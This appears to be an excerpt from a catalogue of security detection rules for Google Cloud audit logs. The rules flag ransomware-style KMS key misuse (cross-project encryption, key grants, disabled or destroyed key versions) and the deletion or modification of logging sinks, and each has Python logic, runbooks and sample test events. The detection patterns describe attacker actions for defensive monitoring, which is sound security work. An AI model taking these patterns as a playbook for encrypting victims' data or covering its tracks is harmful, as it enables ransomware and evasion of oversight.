| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | contains |
| field:"protoPayload.authenticationInfo.principalEmail" kind:contains value:"gs-project-accounts.iam.gserviceaccount.com" |
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"Encrypt" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"cloudkms.googleapis.com" |
severity | ne |
| field:"severity" kind:ne value:"ERROR" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principal | protoPayload.authenticationInfo.principalEmail |
kms_key | protoPayload.resourceName |
key_ring | resource.labels.key_ring_id |
crypto_key | resource.labels.crypto_key_id |
project | resource.labels.project_id |
status | protoPayload.status |
location | resource.labels.location |
Response runbook
1. Query GCP Audit logs for all KMS Encrypt API calls by the GCS service account in the 1 hour window around this alert
2. Identify the total number of encryption operations and the rate of operations per minute
3. Check if KMS IAM policies were recently modified to grant the GCS service account encryption permissions
4. Investigate the source of these encryption calls and what data is being encrypted
5. Search for related GCS operations (object rewrite, copy, bucket updates) in the same time window
6. Look for other ransomware indicators (disabled KMS keys, bucket configuration changes) from this project in the past 24 hours
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "service-111111111111-gs-project-accounts.iam.gserviceaccount.com"
},
"methodName": "Encrypt",
"resourceName": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
"serviceName": "cloudkms.googleapis.com",
"status": {}
},
"resource": {
"labels": {
"crypto_key_id": "test-key",
"key_ring_id": "test-keyring",
"location": "us",
"project_id": "test-project"
},
"type": "cloudkms_cryptokey"
},
"severity": "INFO",
"timestamp": "2025-12-15 15:40:47.284488263"
}
GCP KMS Cross-Project Encryption
#Detects when a GCS service account in one project uses a KMS encryption key from a different project. This could indicate potential ransomware activity where an attacker is using their own KMS key to encrypt data in a victim's project, making it inaccessible without the attacker's key.
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if (
event.deep_get("protoPayload", "serviceName") != "cloudkms.googleapis.com"
or event.deep_get("protoPayload", "methodName") != "Encrypt"
or "gs-project-accounts.iam.gserviceaccount.com"
not in event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
):
return False
# Get the target project from the log name
# Format: projects/PROJECT/logs/cloudaudit.googleapis.com%2Fdata_access
source_project = None
if event.get("logName").startswith("projects/"):
parts = event.get("logName").split("/")
if len(parts) >= 2:
source_project = parts[1]
kms_project = None
if event.deep_get("protoPayload", "resourceName").startswith("projects/"):
parts = event.deep_get("protoPayload", "resourceName").split("/")
if len(parts) >= 2:
kms_project = parts[1]
if source_project and kms_project is not None and source_project != kms_project:
return True
return False
def title(event):
kms_key = event.deep_get("protoPayload", "resourceName", default="<UNKNOWN_KMS_KEY>")
principal = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN_PRINCIPAL>"
)
return f"Cross-project KMS encryption by [{principal}] using key [{kms_key}] detected"
def alert_context(event):
context = gcp_alert_context(event)
context["kms_key"] = event.deep_get("protoPayload", "resourceName", default="<UNKNOWN_KMS_KEY>")
return context
Rule specification
AnalysisType: rule
Filename: gcp_kms_cross_project_encryption.py
RuleID: "GCP.KMS.CrossProjectEncryption"
DisplayName: "GCP KMS Cross-Project Encryption"
Enabled: true
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- KMS
- Encryption
- Ransomware
Severity: High
Description: >
Detects when a GCS service account in one project uses a KMS encryption key from a different project.
This could indicate potential ransomware activity where an attacker is using their own KMS key to encrypt
data in a victim's project, making it inaccessible without the attacker's key.
Runbook: |
1. Query GCP audit logs for all KMS operations by the principal email in the 24 hours before and after this alert to understand the scope of encryption activity
2. Check if the cross-project KMS key access is documented in approved service integrations or has been used by this service account in the past 90 days
3. Find all storage operations (GCS object writes, rewrites) by this service account in the 1 hour window around the alert to identify potentially affected data
Reference: >
https://cloud.google.com/kms/docs/encrypt-decrypt
https://cloud.google.com/storage/docs/encryption/customer-managed-keys
SummaryAttributes:
- protoPayload:authenticationInfo:principalEmail
- protoPayload:resourceName
- resource:labels:project_id
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.serviceNameiscloudkms.googleapis.comprotoPayload.methodNameisEncryptprotoPayload.authenticationInfo.principalEmailcontainsgs-project-accounts.iam.gserviceaccount.com
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | contains | gs-project-accounts.iam.gserviceaccount.com | excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"gs-project-accounts.iam.gserviceaccount.com" |
protoPayload.methodName | ne | Encrypt | excludes:protoPayload.methodName field:"protoPayload.methodName" value:"Encrypt" |
protoPayload.serviceName | ne | cloudkms.googleapis.com | excludes:protoPayload.serviceName field:"protoPayload.serviceName" value:"cloudkms.googleapis.com" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | contains |
| field:"protoPayload.authenticationInfo.principalEmail" kind:contains value:"gs-project-accounts.iam.gserviceaccount.com" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
1. Query GCP audit logs for all KMS operations by the principal email in the 24 hours before and after this alert to understand the scope of encryption activity
2. Check if the cross-project KMS key access is documented in approved service integrations or has been used by this service account in the past 90 days
3. Find all storage operations (GCS object writes, rewrites) by this service account in the 1 hour window around the alert to identify potentially affected data
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "test-insert-id-001",
"logName": "projects/victim-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"p_log_type": "GCP.AuditLog",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "service-111111111111-gs-project-accounts.iam.gserviceaccount.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "cloudkms.cryptoKeyVersions.useToEncrypt",
"permissionType": "DATA_READ",
"resource": "projects/victim-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key"
}
],
"methodName": "Encrypt",
"request": {
"@type": "type.googleapis.com/google.cloud.kms.v1.EncryptRequest",
"name": "projects/victim-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key"
},
"resourceName": "projects/attacker-project/locations/us/keyRings/malicious-keyring/cryptoKeys/ransomware-key",
"serviceName": "cloudkms.googleapis.com"
},
"resource": {
"labels": {
"crypto_key_id": "test-key",
"key_ring_id": "test-keyring",
"location": "us",
"project_id": "victim-project"
},
"type": "cloudkms_cryptokey"
},
"severity": "INFO",
"timestamp": "2025-12-02 19:41:27.745108384"
}
GCP KMS Key Granted to GCS Service Account
#Detects when a KMS IAM policy grants encryption/decryption permissions to a GCS service account. This pattern may indicate a ransomware attack where an adversary grants a GCS service account access to KMS keys to enable encryption of cloud storage objects.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment | |
| Impact |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: cloudkms.googleapis.com (any method) |
Detection logic
def rule(event):
method_name = event.deep_get("protoPayload", "methodName")
service_name = event.deep_get("protoPayload", "serviceName")
status_code = event.deep_get("protoPayload", "status", "code")
# Pre-filter
# return False if any basic condition fails
if any(
[
method_name != "SetIamPolicy",
service_name != "cloudkms.googleapis.com",
status_code, # Operation failed
]
):
return False
# Extract the policy bindings from the request
bindings = event.deep_get("protoPayload", "request", "policy", "bindings", default=[])
for binding in bindings:
role = binding.get("role", "")
members = binding.get("members", [])
# Check if granting KMS encryption/decryption permissions
role_lower = role.lower()
if "cryptokey" in role_lower and ("encrypt" in role_lower or "decrypt" in role_lower):
for member in members:
# Alert if granting to GCS service account
if "gs-project-accounts.iam.gserviceaccount.com" in member:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
)
kms_key = event.deep_get("protoPayload", "resourceName", default="Unknown")
return f"GCP KMS key [{kms_key}] granted encryption permissions by [{actor}]"
def alert_context(event):
bindings = event.deep_get("protoPayload", "request", "policy", "bindings", default=[])
return {
"actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"kms_key": event.deep_get("protoPayload", "resourceName"),
"source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
"project": event.deep_get("resource", "labels", "project_id"),
"bindings": bindings,
}
Rule specification
AnalysisType: rule
Filename: gcp_kms_enable_key.py
RuleID: "GCP.KMS.EnableKey"
DisplayName: "GCP KMS Key Granted to GCS Service Account"
Enabled: true
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud KMS
- Defense Evasion:Impair Defenses
- Impact:Data Encrypted for Impact
- Ransomware
Reports:
MITRE ATT&CK:
- TA0005:T1562
- TA0040:T1486
Severity: Medium
Description: >
Detects when a KMS IAM policy grants encryption/decryption permissions to a GCS service account.
This pattern may indicate a ransomware attack where an adversary grants a GCS service account
access to KMS keys to enable encryption of cloud storage objects.
Runbook: |
1. Query GCP Audit logs for all SetIamPolicy events on KMS keys by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or if the IP matches the user's typical access patterns
3. Search for GCS object rewrite or copy operations using the same service account in the 6 hours after the KMS policy change
4. Look for other alerts related to ransomware indicators (e.g., bulk object operations, unusual encryption activity) from this project in the past 7 days
Reference: https://cloud.google.com/kms/docs/iam
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_emails
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisSetIamPolicyprotoPayload.serviceNameiscloudkms.googleapis.comprotoPayload.status.codeis empty
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.methodName | ne | SetIamPolicy | excludes:protoPayload.methodName field:"protoPayload.methodName" value:"SetIamPolicy" |
protoPayload.serviceName | ne | cloudkms.googleapis.com | excludes:protoPayload.serviceName field:"protoPayload.serviceName" value:"cloudkms.googleapis.com" |
protoPayload.status.code | is_not_null | excludes:protoPayload.status.code |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"SetIamPolicy" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"cloudkms.googleapis.com" |
protoPayload.status.code | is_null | field:"protoPayload.status.code" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
actor | protoPayload.authenticationInfo.principalEmail |
kms_key | protoPayload.resourceName |
source_ip | protoPayload.requestMetadata.callerIp |
project | resource.labels.project_id |
bindings | protoPayload.request.policy.bindings |
Response runbook
1. Query GCP Audit logs for all SetIamPolicy events on KMS keys by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or if the IP matches the user's typical access patterns
3. Search for GCS object rewrite or copy operations using the same service account in the 6 hours after the KMS policy change
4. Look for other alerts related to ransomware indicators (e.g., bulk object operations, unusual encryption activity) from this project in the past 7 days
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "abc123def456",
"logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"oauthInfo": {
"oauthClientId": "111111111111-abcdefghijklmnopqrstuvwxyz123456.apps.googleusercontent.com"
},
"principalEmail": "denethor@lotr.com",
"principalSubject": "user:denethor@lotr.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "cloudkms.cryptoKeys.setIamPolicy",
"permissionType": "ADMIN_WRITE",
"resource": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
"resourceAttributes": {
"name": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
"service": "google.cloud.kms",
"type": "cloudkms.googleapis.com/CryptoKey"
}
}
],
"metadata": {},
"methodName": "SetIamPolicy",
"request": {
"@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"at_sign_type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"policy": {
"bindings": [
{
"members": [
"serviceAccount:service-111111111111-gs-project-accounts.iam.gserviceaccount.com"
],
"role": "roles/cloudkms.cryptoKeyEncrypterDecrypter"
}
],
"etag": "ABCD",
"version": 3
},
"resource": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerIp": "1.2.3.4",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/500.0.0 command/gcloud.kms.keys.add-iam-policy-binding",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2025-12-02T19:39:34.390943642Z"
}
},
"resourceLocation": {
"currentLocations": [
"us"
]
},
"resourceName": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
"serviceName": "cloudkms.googleapis.com",
"status": {}
},
"receiveTimestamp": "2025-12-02 19:39:35.556705822",
"resource": {
"labels": {
"crypto_key_id": "test-key",
"key_ring_id": "test-keyring",
"location": "us",
"project_id": "test-project"
},
"type": "cloudkms_cryptokey"
},
"severity": "NOTICE",
"timestamp": "2025-12-02 19:39:33.896113820"
}
GCP KMS Key Version Disabled or Destroyed
#Detects when a KMS key version is disabled, scheduled for destruction, or destroyed. Disabling or destroying KMS key versions can be used to deny access to encrypted data—a ransomware tactic where attackers disable keys to prevent victims from accessing their data.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment | |
| Impact |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | DestroyCryptoKeyVersion: Destroy crypto key version |
| GCP | UpdateCryptoKeyVersion: Update crypto key version |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
if event.deep_get("protoPayload", "serviceName") != "cloudkms.googleapis.com":
return False
method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN_METHOD>")
# Direct key version destruction
if method == "DestroyCryptoKeyVersion":
return True
# Key version state change, check for dangerous states
if method == "UpdateCryptoKeyVersion":
if event.deep_get("protoPayload", "request", "updateMask") != "state":
return False
crypto_key_state = event.deep_get(
"protoPayload", "request", "cryptoKeyVersion", "state", default="<UNKNOWN_STATE>"
)
dangerous_states = ["DISABLED", "DESTROY_SCHEDULED", "DESTROYED"]
return crypto_key_state in dangerous_states
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
)
key = event.deep_get("protoPayload", "request", "cryptoKeyVersion", "name", default="Unknown")
return f"GCP KMS key [{key}] version disabled or destroyed by {actor}"
def alert_context(event):
return {
"actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"kms_key_version": event.deep_get("protoPayload", "resourceName"),
"new_state": event.deep_get("protoPayload", "request", "cryptoKeyVersion", "state"),
"source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
"project": event.deep_get("resource", "labels", "project_id"),
"key_ring": event.deep_get("resource", "labels", "key_ring_id"),
"crypto_key": event.deep_get("resource", "labels", "crypto_key_id"),
}
Rule specification
AnalysisType: rule
Filename: gcp_kms_erase_key.py
RuleID: "GCP.KMS.EraseKey"
DisplayName: "GCP KMS Key Version Disabled or Destroyed"
Enabled: true
Status: Experimental
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud KMS
- Defense Evasion:Impair Defenses
- Impact:Data Encrypted for Impact
- Ransomware
Reports:
MITRE ATT&CK:
- TA0005:T1562
- TA0040:T1486
Severity: Info
Description: >
Detects when a KMS key version is disabled, scheduled for destruction, or destroyed.
Disabling or destroying KMS key versions can be used to deny access to encrypted data—a
ransomware tactic where attackers disable keys to prevent victims from accessing their data.
Runbook: |
1. Query GCP Audit logs for all KMS key operations by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
3. Search for other KMS key state changes (disabled, destroyed) across different keys in the same project in the past 6 hours
4. Identify which GCS buckets or other resources use this KMS key for encryption and assess data access impact
5. Look for other alerts related to ransomware indicators (e.g., bulk operations, unusual encryption activity) from this project in the past 7 days
Reference: https://cloud.google.com/kms/docs/key-states
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_emails
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.serviceNameiscloudkms.googleapis.comany of:
protoPayload.methodNameisDestroyCryptoKeyVersionall of:
protoPayload.methodNameisUpdateCryptoKeyVersionprotoPayload.request.updateMaskisstateprotoPayload.request.cryptoKeyVersion.stateis one ofDISABLED,DESTROY_SCHEDULED,DESTROYED
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq |
protoPayload.request.cryptoKeyVersion.state | in |
| field:"protoPayload.request.cryptoKeyVersion.state" kind:in |
protoPayload.request.updateMask | eq |
| field:"protoPayload.request.updateMask" kind:eq value:"state" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"cloudkms.googleapis.com" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
actor | protoPayload.authenticationInfo.principalEmail |
kms_key_version | protoPayload.resourceName |
new_state | protoPayload.request.cryptoKeyVersion.state |
source_ip | protoPayload.requestMetadata.callerIp |
project | resource.labels.project_id |
key_ring | resource.labels.key_ring_id |
crypto_key | resource.labels.crypto_key_id |
name | protoPayload.request.cryptoKeyVersion.name |
Response runbook
1. Query GCP Audit logs for all KMS key operations by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
3. Search for other KMS key state changes (disabled, destroyed) across different keys in the same project in the past 6 hours
4. Identify which GCS buckets or other resources use this KMS key for encryption and assess data access impact
5. Look for other alerts related to ransomware indicators (e.g., bulk operations, unusual encryption activity) from this project in the past 7 days
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "abc123def456",
"logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"oauthInfo": {
"oauthClientId": "111111111111-abcdefghijklmnopqrstuvwxyz123456.apps.googleusercontent.com"
},
"principalEmail": "denethor@lotr.com",
"principalSubject": "user:denethor@lotr.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "cloudkms.cryptoKeyVersions.update",
"permissionType": "ADMIN_WRITE",
"resource": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
"resourceAttributes": {
"name": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
"service": "google.cloud.kms",
"type": "cloudkms.googleapis.com/CryptoKeyVersion"
}
}
],
"metadata": {},
"methodName": "UpdateCryptoKeyVersion",
"request": {
"@type": "type.googleapis.com/google.cloud.kms.v1.UpdateCryptoKeyVersionRequest",
"at_sign_type": "type.googleapis.com/google.cloud.kms.v1.UpdateCryptoKeyVersionRequest",
"cryptoKeyVersion": {
"name": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
"state": "DISABLED"
},
"updateMask": "state"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerIp": "1.2.3.4",
"callerSuppliedUserAgent": "google-cloud-sdk gcloud/548.0.0 command/gcloud.kms.keys.versions.disable",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2025-12-15T15:40:47.296683147Z"
}
},
"resourceLocation": {
"currentLocations": [
"us"
]
},
"resourceName": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
"serviceName": "cloudkms.googleapis.com",
"status": {}
},
"receiveTimestamp": "2025-12-15 15:40:48.642133512",
"resource": {
"labels": {
"crypto_key_id": "test-key",
"crypto_key_version_id": "1",
"key_ring_id": "test-keyring",
"location": "us",
"project_id": "test-project"
},
"type": "cloudkms_cryptokeyversion"
},
"severity": "NOTICE",
"timestamp": "2025-12-15 15:40:47.284488263"
}
GCP Log Bucket or Sink Deleted
#This rule detects deletions of GCP Log Buckets or Sinks.
Detection logic
import re
from panther_gcp_helpers import gcp_alert_context
def rule(event):
granted_list = event.deep_walk("protoPayload", "authorizationInfo", "granted", default=[])
authenticated = any(granted_list) if isinstance(granted_list, list) else bool(granted_list)
method_pattern = r"(?:\w+\.)*v\d\.(?:ConfigServiceV\d\.(?:Delete(Bucket|Sink)))"
match = re.search(method_pattern, event.deep_get("protoPayload", "methodName", default=""))
return authenticated and match is not None
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get(
"protoPayload",
"resourceName",
default="<RESOURCE_NOT_FOUND>",
)
return f"[GCP]: [{actor}] deleted logging bucket or sink [{resource}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
---
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Log Bucket or Sink Deleted
Enabled: true
Filename: gcp_log_bucket_or_sink_deleted.py
RuleID: "GCP.Log.Bucket.Or.Sink.Deleted"
Severity: Medium
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Logging
- Bucket
- Sink
- Infrastructure
Description: >
This rule detects deletions of GCP Log Buckets or Sinks.
Runbook: >
Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.
Reference: https://cloud.google.com/logging/docs
Stages and Predicates
Rule logic imperative Python
The parser could not express this rule's Python logic as a structured condition; the complete logic is under Detection logic above.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "xxxxxxxxxx",
"logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@domain.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "logging.buckets.delete",
"resource": "projects/test-project-123456/locations/global/buckets/testloggingbucket",
"resourceAttributes": {
"name": "projects/test-project-123456/locations/global/buckets/testloggingbucket",
"service": "logging.googleapis.com"
}
}
],
"methodName": "google.logging.v2.ConfigServiceV2.DeleteBucket",
"request": {
"@type": "type.googleapis.com/google.logging.v2.DeleteBucketRequest",
"name": "projects/test-project-123456/locations/global/buckets/testloggingbucket"
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-05-23T19:38:36.846070601Z"
}
},
"resourceName": "projects/test-project-123456/locations/global/buckets/testloggingbucket",
"serviceName": "logging.googleapis.com",
"status": {}
},
"receivetimestamp": "2023-05-23 19:38:37.59",
"resource": {
"labels": {
"method": "google.logging.v2.ConfigServiceV2.DeleteBucket",
"project_id": "test-project-123456",
"service": "logging.googleapis.com"
},
"type": "audited_resource"
},
"severity": "NOTICE",
"timestamp": "2023-05-23 19:38:36.838"
}
GCP Logging Settings Modified
#Detects any changes made to logging settings
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: logging.googleapis.com (any method) |
Detection logic
def rule(event):
return all(
[
event.deep_get("protoPayload", "serviceName", default="") == "logging.googleapis.com",
"Update" in event.deep_get("protoPayload", "methodName", default=""),
]
)
def title(event):
resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return f"GCP [{resource}] logging settings modified by [{actor}]."
def dedup(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return actor
def alert_context(event):
return {
"resource": event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>"),
"actor": event.deep_get(
"protoPayload",
"authenticationInfo",
"principalEmail",
default="<ACTOR_NOT_FOUND>",
),
"method": event.deep_get("protoPayload", "methodName", default="<METHOD_NOT_FOUND>"),
}
Rule specification
AnalysisType: rule
Description: Detects any changes made to logging settings
DisplayName: "GCP Logging Settings Modified"
Enabled: true
Filename: gcp_logging_settings_modified.py
Reference: https://cloud.google.com/logging/docs/default-settings
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.Logging.Settings.Modified"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.serviceNameislogging.googleapis.comprotoPayload.methodNamecontainsUpdate
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains value:"Update" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"logging.googleapis.com" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
resource | protoPayload.resourceName |
actor | protoPayload.authenticationInfo.principalEmail |
method | protoPayload.methodName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "ezyd47c12y",
"logname": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-09 16:41:30.524",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-09 16:44:14.617",
"p_row_id": "1234567909689348911",
"p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
"p_source_label": "gcplogsource",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "test@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "logging.sinks.update",
"resource": "projects/gcp-project1/sinks/log-sink",
"resourceAttributes": {
"name": "projects/gcp-project1/sinks/log-sink",
"service": "logging.googleapis.com"
}
}
],
"methodName": "google.logging.v2.ConfigServiceV2.UpdateSink",
"request": {
"@type": "type.googleapis.com/google.logging.v2.UpdateSinkRequest",
"sink": {
"destination": "pubsub.googleapis.com/projects/gcp-project1/topics/gcp-topic1",
"exclusions": [
{
"filter": "protoPayload.serviceName = 'k8s.io",
"name": "excludek8s"
}
],
"name": "log-sink",
"writerIdentity": "serviceAccount:p197946410614-915152@gcp-sa-logging.iam.gserviceaccount.com"
},
"sinkName": "projects/gcp-project1/sinks/log-sink",
"uniqueWriterIdentity": true,
"updateMask": "exclusions"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-03-09T16:41:30.540045105Z"
}
},
"resourceName": "projects/gcp-project1/sinks/log-sink",
"serviceName": "logging.googleapis.com",
"status": {}
},
"receivetimestamp": "2023-03-09 16:41:32.21",
"resource": {
"labels": {
"destination": "",
"name": "log-sink",
"project_id": "gcp-project1"
},
"type": "logging_sink"
},
"severity": "NOTICE",
"timestamp": "2023-03-09 16:41:30.524"
}
GCP Logging Sink Modified
#This rule detects modifications to GCP Log Sinks.
Detection logic
import re
from panther_gcp_helpers import gcp_alert_context
def rule(event):
method_pattern = r"(?:\w+\.)*v\d\.(?:ConfigServiceV\d\.(?:UpdateSink))"
match = re.search(method_pattern, event.deep_get("protoPayload", "methodName", default=""))
return match is not None
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get(
"protoPayload",
"resourceName",
default="<RESOURCE_NOT_FOUND>",
)
return f"[GCP]: [{actor}] updated logging sink [{resource}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
---
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Logging Sink Modified
Enabled: true
Filename: gcp_logging_sink_modified.py
RuleID: "GCP.Logging.Sink.Modified"
Severity: Info
CreateAlert: false
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Logging
- Sink
- Infrastructure
Description: >
This rule detects modifications to GCP Log Sinks.
Runbook: >
Ensure that the modification was valid or expected. Adversaries may do this to exfiltrate logs or evade detection.
